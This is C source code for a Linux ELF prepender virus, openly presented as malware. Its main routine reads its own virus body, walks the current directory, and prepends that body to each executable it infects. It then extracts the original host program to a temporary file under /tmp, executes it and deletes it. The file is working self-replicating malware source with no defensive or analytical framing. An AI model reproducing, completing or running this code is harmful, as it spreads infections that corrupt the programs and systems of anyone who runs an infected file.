/*
 * Oh yes, I'm the Great Prepender,
 * Prepending is what I'm doing well.
 * My need is such, I prepend too much. 
 */
#include <elf.h>
#include <stdio.h>		
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <linux/mman.h>		/* mremap ...*/
#include <fcntl.h>

#define	__USE_UNIX98
#include <unistd.h>
#ifdef	USE_FTW
#include <ftw.h>
#endif

uint8_t *virus;
#ifdef	SIZE_RT
int VIRUS_SIZE;
#else
#warning "DON'T FORGET TO ADJUST VIRUS_SIZE!"
#define	VIRUS_SIZE 4760
#endif	/* SIZE_RT */

#include "../h/infect.h"
/* prepend the file to the victim */
INFECT_INIT
	/* make hole */
	int new_l = l + VIRUS_SIZE;
	if (ftruncate(h, new_l))
		goto _unmap;
	m = mremap(m, l, new_l, MREMAP_MAYMOVE);
	if (m == MAP_FAILED)
		goto _close;
	memmove(m + VIRUS_SIZE, m, l);
	l = new_l;

	/* write virus */
	memcpy(m, virus, VIRUS_SIZE);
INFECT_FINI

#ifndef	USE_FTW
#include "../h/search.c"
#endif	/* ! USE_FTW */

int main(int argc, char **argv, char **envp)
{
	int in, out, l;
	char buf[128], name[16];
#ifdef SIZE_RT
	/* get the max offset within loadable segments */
	int inline elf_max_off(Elf32_Ehdr *ehdr) {
		int i, s, t;
		Elf32_Phdr *phdr = (Elf32_Phdr*)((char*)ehdr + ehdr->e_phoff);
		for (i = s = 0; i < ehdr->e_phnum; i++)
			if (phdr[i].p_type == PT_LOAD) {
				t = phdr[i].p_offset + phdr[i].p_filesz;
				s = t <= s ? : t;
			}
		return s;
	}
#ifdef	FROM_MEM
	virus = (void*)0x08048000;
#endif	/* FROM_MEM */
	VIRUS_SIZE = elf_max_off((void*)0x08048000);
#endif	/* SIZE_RT */
#ifdef	DBG_SIZE
	if (argc > 1 && argv[1][0] == 7)
		printf("Virus size is %d bytes\n", VIRUS_SIZE);
#endif
	/* read virus body */
	if ((in = open(argv[0], O_RDONLY)) < 0)
		return 2;
#ifdef	FROM_MEM
	/* skip virus body */
	lseek(in, VIRUS_SIZE, SEEK_SET);
#else
	virus = (char*)malloc(VIRUS_SIZE);
	if (virus == NULL || read(in, virus, VIRUS_SIZE) != VIRUS_SIZE) {
		close(in);
		return 2;
	}
#endif
	/* search and infect files */
#ifdef	USE_FTW
	ftw(".", (int(*)(const char*,const struct stat*,int))infect, 1);
#else
	search(".");
#endif

	/* exec host program */
	int rc;
	strcpy(name, "/tmp/vXXXXXX");
	if ((out = mkstemp(name)) < 0)
		return 2;
	if (fchmod(out, 0700))
		return 2;
	do {
		l = read(in, buf, sizeof(buf));
		write(out, buf, l);
	} while (l > 0);
	close(out);
	if (fork() == 0)
		execve(name, argv, envp);
	wait(&rc);
	unlink(name);
	return rc;
}
